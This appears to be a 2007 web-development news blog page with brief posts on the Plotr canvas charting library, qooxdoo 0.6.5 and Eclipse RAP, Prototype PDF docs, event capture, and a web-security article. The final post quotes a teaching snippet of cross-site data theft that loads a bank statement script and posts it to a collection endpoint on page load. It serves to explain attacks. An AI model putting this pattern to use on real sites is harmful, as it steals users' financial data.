Web Info & Tutorials

February 2nd, 2007

PLOTR: CHARTING LIBRARY VIA CANVAS WITH PROTOTYPE

Bas Wenneker has written Plotr, a charting engine in Prototype that uses canvas.

Example

JAVASCRIPT:
  1.  
  2. var dataset = {
  3.                 'myFirstDataset': [[0, 1], [1, 0.8], [2, 2.3], [3, 1.3], [4, 2.56]],
  4.                 'mySecondDataset': [[0, 0.5], [1, 0.5], [2, 2], [3, 1], [4, 1.4]],
  5.                 'myThirdDataset': [[0, 0.7], [1, 0.3], [2, 1.5], [3, 0.8], [4, 1.2]],
  6.                 'myFourthDataset': [[0, 0.1], [1, 0.1], [2, 0.1], [3, 0.1], [4, 1]]
  7. };
  8. var options = {
  9.         padding: {left: 30, right: 0, top: 10, bottom: 30},
  10.         colorScheme: 'grey',
  11.         backgroundColor: '#d8efb0',
  12.         xTicks: [{v:0, label:'week 1'},
  13.         {v:1, label:'week 2'},
  14.         {v:2, label:'week 3'},
  15.         {v:3, label:'week 4'},
  16.         {v:4, label:'week 5'}
  17.         ]              
  18. };
  19.  
  20. var lineChart = new Plotr.LineChart('plotr1',options);
  21. lineChart.addDataset(dataset);
  22. lineChart.render();
  23.  

Plotr

More examples

February 2nd, 2007

QOOXDOO 0.6.5 RELEASE: NOW WITH RAP

Qooxdoo 0.6.5 has been released with improvements in the core framework, theming, and server-side (now with Perl).

Check out the showcase for examples, and the release notes for detailed changes.

This released adds an Eclipse license that enables it to be the core of the new Eclipse Rich Ajax Platform (RAP) Project.

What is RAP?

The RAP project aims to enable developers to build rich, AJAX-enabled Web applications by using the Eclipse development model, plug-ins and a Java-only API.

Objectives

  • Enable the development of Rich Internet Applications that are based on
    the Eclipse Plugin architecture.
    The Eclipse OSGi framework (Equinox)
    can run inside of a Web application. This has been demonstrated by several
    parties, and a subproject of the Equinox project has already been
    established (see http://www.eclipse.org/equinox/incubator/server/)
  • Enable AJAX UI development based on a Java component library with SWT api. For
    enabling UI development based on a Java component library the project has
    received an initial code contribution from Innoopract (W4Toolkit). NEW: Based on the
    infrastructure provided by this code contributions we have implemented a first
    version of a new widget toolkit with SWT api, called RWT. More info on RWT can be
    found here:
    http://wiki.eclipse.org/index.php/RWTOverview
    . RWT is using a sophisiticated JavaScript
    framework for client side rendering: qooxdoo.
  • Provide a Web Workbench similar to the Eclipse platform workbench:
    • provides selection service (with session scope),
    • provides extension points for action sets, workbench parts,
      perspectives, preference pages, etc.,
    • enables plug-ins to contribute to workbench parts provided by other
      plug-ins (e.g. action contributions)
    • NEW: A first implementation of a web workbench is in CVS
    • Check out the RAP demo: RWT / Workbench demo
    • RWT demo: RWT widget demo
  • The RAP API will be aligned with the Eclipse platform API as much as possible
February 2nd, 2007

PROTOTYPE 1.5 DOCUMENTATION IN PDF

Remember when we every complained at the demand of docs for Prototype?

The image aggroup has newborn docs as a pleasant PDF download for us thanks to Josh Clark.

Prototype API Docs

February 2nd, 2007

STEALING EVENTS VIA CAPTURE

Are you the kind of person who has always written document.addEventListener("keypress", someFunc, false) and never really looked into the false bit. You just always keep it as false as that is how you copied it from some example the first time?

Hallvord R. M. Steen explains what happens when you go true and capture events:

If you call addEventListener with true as the third argument you create a capturing event. The difference from a normal event is that the capturing listener detects all events in the document before they are sent to the actual target of the event.

February 2nd, 2007

MAKING YOUR WEB APPLICATIONS MORE SECURE:

Nadav Samet has written a simple article explaining various security attacks called Prepare for Attack!—Making Your Web Applications More Secure.

It explains in simple terms, with simple code examples:

  • SQL Injection Attacks
  • XSRF: Cross-Site Request Forgery
  • XSS: Cross-Site Scripting

XSRF: Stealing Information with Scriptaculous

HTML:
  1.  
  2. <script src="http://www.tgbank.com/monthly_statement.js" type="text/javascript"></script>
  3. <script type="text/javascript">
  4.     function send_data_to_the_criminal() {
  5.         /* code that converts the statement
  6.             object to string goes here */
  7.         Ajax.Request(’/collect_other_people_data.php’,
  8.                 postBody=’data=’+statement;
  9.     }
  10. window.onload = send_data_to_the_criminal;
  11. </script>
  12.